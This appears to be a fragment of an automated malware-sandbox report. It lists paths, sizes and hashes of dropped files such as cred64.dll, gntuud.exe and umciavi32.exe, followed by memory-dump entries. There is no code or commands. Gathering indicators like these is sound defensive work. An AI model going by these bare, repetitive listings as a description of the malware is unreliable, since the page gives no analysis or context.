SHA1
2ce9ce4f0c6bc70e6982f4aeee031639c146f59f

SHA256
efda94f9dc93bbd3af9fa5ff8ffcb99d506cddf277f0ab00870d98c264574dcf

SHA512
ee76010d17d6ac6c5cf43cf918436b049e3cfdf5f5ea6b977ca31cf8e9ae9a3e707c09ec2df5cbd5313cf4efc9fb7705615ea1dec9e59c3db03f766c57335083

Download Submit
C:\Users\Admin\AppData\Local\Temp\SETUP_22224\Engine.exe
Filesize
392KB

MD5
a7a99a201774531d761f6aac2651a9df

SHA1
b122ae368c4bf103e959a6ebb54ddb310117ab96

SHA256
e6e73497e85e9ece4c92ac7d49e07b9d55e932ba2d9e5789b94b95a9841ee524

SHA512
056504da2afeed547a4123ac8c38b35291b7dc0126fb638ae304eee802ac572715f9d608e9f1655788a030f488354741ee27c805434111c8e915cf841c0892f1

Download Submit
C:\Users\Admin\AppData\Local\Temp\SETUP_22224\Modern_Icon.bmp
Filesize
7KB

MD5
1dd88f67f029710d5c5858a6293a93f1

SHA1
3e5ef66613415fe9467b2a24ccc27d8f997e7df6

SHA256
b5dad33ceb6eb1ac2a05fbda76e29a73038403939218a88367925c3a20c05532

SHA512
7071fd64038e0058c8c586c63c62677c0ca403768100f90323cf9c0bc7b7fcb538391e6f3606bd7970b8769445606ada47adcdcfc1e991e25caf272a13e10c94

Download Submit
C:\Users\Admin\AppData\Local\Temp\SETUP_22224\Setup.txt
Filesize
2KB

MD5
8fdcb77e72aeef974e2441747545eefb

SHA1
621389d4e9bb81ff80745b4327ac2ce5579e074e

SHA256
0449f6c4716600993f1680938a33487a4cc5dd8aec3abf83096d776faf121813

SHA512
06b5dac14973788445a5e1abb1bf9842f44f4f726c528b0779fb2692e3dff03f2ad9537b8b738a4e515c29ba2e6b781cd40d363f039684bb130e8f391b828457

Download Submit
C:\Users\Admin\AppData\Roaming\1000021000\umciavi32.exe
Filesize
1.6MB

MD5
b66347e9a4018f257a6bf1941b4a5d60

SHA1
0f4a358ad14e441f74c634054d798e6be2da476d

SHA256
d74bf0394de0ad2adcfd7ecc96711bac682f3749f8953701eefc596b8c11dd36

SHA512
eab7414a3d2ed2aab80eb4452e8b30b6e7481e7cb48bdb986450196ea8695008f7b26d3ee423934a0d6b30650ccd3e50b64cc979723d9df2df31052875c04695

Download Submit
C:\Users\Admin\AppData\Roaming\1000021000\umciavi32.exe
Filesize
1.6MB

MD5
b66347e9a4018f257a6bf1941b4a5d60

SHA1
0f4a358ad14e441f74c634054d798e6be2da476d

SHA256
d74bf0394de0ad2adcfd7ecc96711bac682f3749f8953701eefc596b8c11dd36

SHA512
eab7414a3d2ed2aab80eb4452e8b30b6e7481e7cb48bdb986450196ea8695008f7b26d3ee423934a0d6b30650ccd3e50b64cc979723d9df2df31052875c04695

Download Submit
C:\Users\Admin\AppData\Roaming\c33e9ad058e5d3\cred64.dll
Filesize
7.3MB

MD5
2b62e02b3581980ee5a1dda42fa4f3fe

SHA1
5c36bfa4a4973e8f694d5c077e7312b1c991aedf

SHA256
8c46c2af1cb25bfa8fbbf9d683d72d30ddb2e5d0ecc6bba997b24714cf2b8c91

SHA512
255e1b1d51d52872c5e0c54f7807adc3581d36b3dfb8220c818ac38ac7fcea91dd42999ee6ccaef3b9836cd59fcfe19c2669a5b697d627de4c1d9b8ba563eb3d

Download Submit
\Users\Admin\1000018002\avicapn32.exe
Filesize
12.1MB

MD5
0f6ef96c5e687631ef27f1dcd1afe7b4

SHA1
ea8aeee11c243e3eacfa6753f708c20cbba39aac

SHA256
38381a42975028b181430a80d6009988d0d0cfa42493d3efbbfb72d3abe97648

SHA512
3ae1986071afffbed1978be560d5159f563d699be798e6ab6dc616a82104467b79ec872c891e11615d3793348730f311bce3a63f1ce289bb8d7c73399c26c5c9

Download Submit
\Users\Admin\1000018002\avicapn32.exe
Filesize
12.1MB

MD5
0f6ef96c5e687631ef27f1dcd1afe7b4

SHA1
ea8aeee11c243e3eacfa6753f708c20cbba39aac

SHA256
38381a42975028b181430a80d6009988d0d0cfa42493d3efbbfb72d3abe97648

SHA512
3ae1986071afffbed1978be560d5159f563d699be798e6ab6dc616a82104467b79ec872c891e11615d3793348730f311bce3a63f1ce289bb8d7c73399c26c5c9

Download Submit
\Users\Admin\1000019012\syncfiles.dll
Filesize
7.2MB

MD5
0d079a931e42f554016db36476e55ba7

SHA1
d5f1ab52221019c746f1cc59a45ce18d0b817496

SHA256
ead2c5aaf92fe07db45b99587f586c7a45f92c67220cd8113a5d2e7bcb320798

SHA512
1496f1296df89e1da8780f175631e2551300a99e6c7ea43d2750653fdf6e7ed096fdedd9f0d23b94190ecf418da09cf9c9b6caee5821ba1c457f0294063bbc9e

Download Submit
\Users\Admin\1000019012\syncfiles.dll
Filesize
7.2MB

MD5
0d079a931e42f554016db36476e55ba7

SHA1
d5f1ab52221019c746f1cc59a45ce18d0b817496

SHA256
ead2c5aaf92fe07db45b99587f586c7a45f92c67220cd8113a5d2e7bcb320798

SHA512
1496f1296df89e1da8780f175631e2551300a99e6c7ea43d2750653fdf6e7ed096fdedd9f0d23b94190ecf418da09cf9c9b6caee5821ba1c457f0294063bbc9e

Download Submit
\Users\Admin\1000019012\syncfiles.dll
Filesize
7.2MB

MD5
0d079a931e42f554016db36476e55ba7

SHA1
d5f1ab52221019c746f1cc59a45ce18d0b817496

SHA256
ead2c5aaf92fe07db45b99587f586c7a45f92c67220cd8113a5d2e7bcb320798

SHA512
1496f1296df89e1da8780f175631e2551300a99e6c7ea43d2750653fdf6e7ed096fdedd9f0d23b94190ecf418da09cf9c9b6caee5821ba1c457f0294063bbc9e

Download Submit
\Users\Admin\1000019012\syncfiles.dll
Filesize
7.2MB

MD5
0d079a931e42f554016db36476e55ba7

SHA1
d5f1ab52221019c746f1cc59a45ce18d0b817496

SHA256
ead2c5aaf92fe07db45b99587f586c7a45f92c67220cd8113a5d2e7bcb320798

SHA512
1496f1296df89e1da8780f175631e2551300a99e6c7ea43d2750653fdf6e7ed096fdedd9f0d23b94190ecf418da09cf9c9b6caee5821ba1c457f0294063bbc9e

Download Submit
\Users\Admin\AppData\Local\Temp\03bd543fce\gntuud.exe
Filesize
7.4MB

MD5
2239a58cc93fd94dc2806ce7f6af0a0b

SHA1
f09eb7d69bc7440d3d45e14267236a78ac789fcb

SHA256
682abd62b6e3c0e8ca57f079cd96f2d3848752eaf7002bdf57bfb512bd242811

SHA512
f77c16626a0e17ff79b95f9fded6a365f913896c89baf76d16bcc8706f3ad10a9476c7cbd3f235250b936171c6e958e145c402952506dc0e434a4f911c99fe02

Download Submit
\Users\Admin\AppData\Local\Temp\1000017001\Emit64.exe
Filesize
9.9MB

MD5
7a5155b804e592d83f8319cbdb27e164

SHA1
da63718377b9086ef7f6db6b8b88e45062f31749

SHA256
5eb7b2fd13264f066b10946539eff6be750647de246cf791e57ca4c17b0b9c31

SHA512
3dbd6745d7b64ef2260e14df08c6aa36ee7e34b218dc11c83f5fbcaa934cf1385e79d208e061b9055c389cd5259ae2081b8dea47fac38844a2043b9a361d0346

Download Submit
\Users\Admin\AppData\Local\Temp\SETUP_22224\Engine.exe
Filesize
392KB

MD5
a7a99a201774531d761f6aac2651a9df

SHA1
b122ae368c4bf103e959a6ebb54ddb310117ab96

SHA256
e6e73497e85e9ece4c92ac7d49e07b9d55e932ba2d9e5789b94b95a9841ee524

SHA512
056504da2afeed547a4123ac8c38b35291b7dc0126fb638ae304eee802ac572715f9d608e9f1655788a030f488354741ee27c805434111c8e915cf841c0892f1

Download Submit
\Users\Admin\AppData\Roaming\1000021000\umciavi32.exe
Filesize
1.6MB

MD5
b66347e9a4018f257a6bf1941b4a5d60

SHA1
0f4a358ad14e441f74c634054d798e6be2da476d

SHA256
d74bf0394de0ad2adcfd7ecc96711bac682f3749f8953701eefc596b8c11dd36

SHA512
eab7414a3d2ed2aab80eb4452e8b30b6e7481e7cb48bdb986450196ea8695008f7b26d3ee423934a0d6b30650ccd3e50b64cc979723d9df2df31052875c04695

Download Submit
\Users\Admin\AppData\Roaming\c33e9ad058e5d3\cred64.dll
Filesize
7.3MB

MD5
2b62e02b3581980ee5a1dda42fa4f3fe

SHA1
5c36bfa4a4973e8f694d5c077e7312b1c991aedf

SHA256
8c46c2af1cb25bfa8fbbf9d683d72d30ddb2e5d0ecc6bba997b24714cf2b8c91

SHA512
255e1b1d51d52872c5e0c54f7807adc3581d36b3dfb8220c818ac38ac7fcea91dd42999ee6ccaef3b9836cd59fcfe19c2669a5b697d627de4c1d9b8ba563eb3d

Download Submit
\Users\Admin\AppData\Roaming\c33e9ad058e5d3\cred64.dll
Filesize
7.3MB

MD5
2b62e02b3581980ee5a1dda42fa4f3fe

SHA1
5c36bfa4a4973e8f694d5c077e7312b1c991aedf

SHA256
8c46c2af1cb25bfa8fbbf9d683d72d30ddb2e5d0ecc6bba997b24714cf2b8c91

SHA512
255e1b1d51d52872c5e0c54f7807adc3581d36b3dfb8220c818ac38ac7fcea91dd42999ee6ccaef3b9836cd59fcfe19c2669a5b697d627de4c1d9b8ba563eb3d

Download Submit
\Users\Admin\AppData\Roaming\c33e9ad058e5d3\cred64.dll
Filesize
7.3MB

MD5
2b62e02b3581980ee5a1dda42fa4f3fe

SHA1
5c36bfa4a4973e8f694d5c077e7312b1c991aedf

SHA256
8c46c2af1cb25bfa8fbbf9d683d72d30ddb2e5d0ecc6bba997b24714cf2b8c91

SHA512
255e1b1d51d52872c5e0c54f7807adc3581d36b3dfb8220c818ac38ac7fcea91dd42999ee6ccaef3b9836cd59fcfe19c2669a5b697d627de4c1d9b8ba563eb3d

Download Submit
\Users\Admin\AppData\Roaming\c33e9ad058e5d3\cred64.dll
Filesize
7.3MB

MD5
2b62e02b3581980ee5a1dda42fa4f3fe

SHA1
5c36bfa4a4973e8f694d5c077e7312b1c991aedf

SHA256
8c46c2af1cb25bfa8fbbf9d683d72d30ddb2e5d0ecc6bba997b24714cf2b8c91

SHA512
255e1b1d51d52872c5e0c54f7807adc3581d36b3dfb8220c818ac38ac7fcea91dd42999ee6ccaef3b9836cd59fcfe19c2669a5b697d627de4c1d9b8ba563eb3d

Download Submit
memory/108-154-0x0000000000000000-mapping.dmp

Download
memory/112-163-0x0000000000000000-mapping.dmp

Download
memory/280-169-0x0000000000000000-mapping.dmp

Download
memory/336-166-0x0000000000400000-0x0000000000558000-memory.dmp

Filesize
1.3MB

Download
memory/336-122-0x0000000000400000-0x0000000000558000-memory.dmp

Filesize
1.3MB

Download
memory/336-118-0x0000000000000000-mapping.dmp

Download
memory/336-73-0x0000000000000000-mapping.dmp

Download
memory/360-152-0x0000000000000000-mapping.dmp

Download
memory/564-132-0x0000000000C90000-0x000000000180D000-memory.dmp

Filesize
11.5MB

Download
memory/564-157-0x0000000000000000-mapping.dmp

Download
memory/564-123-0x0000000000000000-mapping.dmp

Download
memory/564-128-0x0000000000C90000-0x000000000180D000-memory.dmp

Filesize
11.5MB

Download
memory/564-149-0x0000000000C90000-0x000000000180D000-memory.dmp

Filesize
11.5MB

Download
memory/564-131-0x0000000000C90000-0x000000000180D000-memory.dmp

Filesize
11.5MB

Download
memory/692-156-0x0000000000000000-mapping.dmp

Download
memory/820-159-0x0000000000000000-mapping.dmp

Download
memory/896-87-0x0000000000000000-mapping.dmp

Download
memory/896-95-0x0000000000C90000-0x000000000180D000-memory.dmp

Filesize
11.5MB

Download
memory/896-98-0x0000000000C90000-0x000000000180D000-memory.dmp

Filesize
11.5MB

Download
memory/972-141-0x0000000000000000-mapping.dmp

Download
memory/1048-143-0x00000000021D0000-0x0000000002D89000-memory.dmp

Filesize
11.7MB

Download
memory/1048-117-0x0000000000000000-mapping.dmp

Download
memory/1048-147-0x00000000021D0000-0x0000000002D89000-memory.dmp

Filesize
11.7MB

Download
memory/1048-74-0x0000000000000000-mapping.dmp

Download
memory/1052-168-0x0000000002484000-0x0000000002487000-memory.dmp

Filesize
12KB

Download
memory/1052-167-0x000007FEF4300000-0x000007FEF4E5D000-memory.dmp

Filesize
11.4MB

Download
memory/1052-170-0x000000000248B000-0x00000000024AA000-memory.dmp

Filesize
124KB

Download
memory/1052-158-0x000007FEF4E60000-0x000007FEF5883000-memory.dmp

Filesize
10.1MB

Download
memory/1052-150-0x000007FEFC101000-0x000007FEFC103000-memory.dmp

Filesize
8KB

Download
memory/1064-72-0x0000000000000000-mapping.dmp

Download
memory/1084-116-0x0000000002240000-0x0000000002398000-memory.dmp

Filesize
1.3MB

Download
memory/1084-109-0x0000000000000000-mapping.dmp

Download
memory/1148-164-0x0000000000000000-mapping.dmp

Download
memory/1228-63-0x0000000000FE0000-0x0000000001B5D000-memory.dmp

Filesize
11.5MB

Download
memory/1228-56-0x0000000000FE0000-0x0000000001B5D000-memory.dmp

Filesize
11.5MB

Download
memory/1228-55-0x0000000000FE0000-0x0000000001B5D000-memory.dmp

Filesize
11.5MB

Download
memory/1228-54-0x0000000075E31000-0x0000000075E33000-memory.dmp

Filesize
8KB

Download
memory/1284-77-0x0000000000000000-mapping.dmp

Download
memory/1324-165-0x0000000000000000-mapping.dmp

Download
memory/1380-70-0x0000000000000000-mapping.dmp

Download
memory/1384-155-0x0000000000000000-mapping.dmp

Download
memory/1468-86-0x000000013F930000-0x0000000140A89000-memory.dmp

Filesize
17.3MB

Download
memory/1468-84-0x000000013F930000-0x0000000140A89000-memory.dmp

Filesize
17.3MB

Download
memory/1468-79-0x0000000000000000-mapping.dmp

Download
memory/1468-82-0x000000013F930000-0x0000000140A89000-memory.dmp

Filesize
17.3MB

Download
memory/1472-160-0x0000000000000000-mapping.dmp

Download
memory/1476-76-0x0000000000000000-mapping.dmp

Download
memory/1476-151-0x0000000000000000-mapping.dmp

Download
memory/1540-171-0x0000000000000000-mapping.dmp

Download
memory/1540-174-0x0000000000C90000-0x000000000180D000-memory.dmp

Filesize
11.5MB

Download
memory/1540-177-0x0000000000C90000-0x000000000180D000-memory.dmp

Filesize
11.5MB

Download
memory/1540-145-0x0000000000000000-mapping.dmp

Download
memory/1540-148-0x0000000073720000-0x0000000073CCB000-memory.dmp

Filesize
5.7MB

Download
memory/1560-71-0x0000000000000000-mapping.dmp

Download
memory/1628-142-0x0000000000000000-mapping.dmp

Download
memory/1680-161-0x0000000000000000-mapping.dmp

Download
memory/1724-75-0x0000000000000000-mapping.dmp

Download
memory/1748-153-0x0000000000000000-mapping.dmp

Download
memory/1900-162-0x0000000000000000-mapping.dmp

Download
memory/1960-92-0x0000000000000000-mapping.dmp

Download
memory/1960-114-0x0000000000980000-0x00000000015CE000-memory.dmp

Filesize
12.3MB

Download
memory/1960-99-0x0000000000980000-0x00000000015CE000-memory.dmp

Filesize
12.3MB

Download
memory/1960-100-0x0000000000980000-0x00000000015CE000-memory.dmp

Filesize
12.3MB

Download
memory/2024-69-0x0000000000C90000-0x000000000180D000-memory.dmp

Filesize
11.5MB

Download
memory/2024-66-0x0000000000C90000-0x000000000180D000-memory.dmp

Filesize
11.5MB

Download
memory/2024-65-0x0000000000C90000-0x000000000180D000-memory.dmp

Filesize
11.5MB

Download
memory/2024-83-0x0000000000C90000-0x000000000180D000-memory.dmp

Filesize
11.5MB

Download
memory/2024-60-0x0000000000000000-mapping.dmp

Download
memory/2036-101-0x0000000000000000-mapping.dmp

Download
memory/2036-113-0x0000000010000000-0x0000000010B6B000-memory.dmp

Filesize
11.4MB

Download